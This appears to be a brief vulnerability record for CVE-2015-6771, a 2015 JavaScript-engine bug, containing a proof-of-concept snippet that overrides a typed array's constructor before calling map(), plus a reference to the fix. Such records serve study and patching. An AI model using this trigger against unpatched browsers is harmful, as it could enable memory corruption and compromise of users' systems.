CVE-2015-6771.md

CVE-2015-6771

• Date: Dec 2015
• Credit: ??

PoC

var typedArray = new Int8Array(1);
var saved;
var called;
typedArray.constructor = function(x) { called = true; saved = x };
typedArray.constructor.prototype = Int8Array.prototype;
typedArray.map(function(){});

Reference

• Diff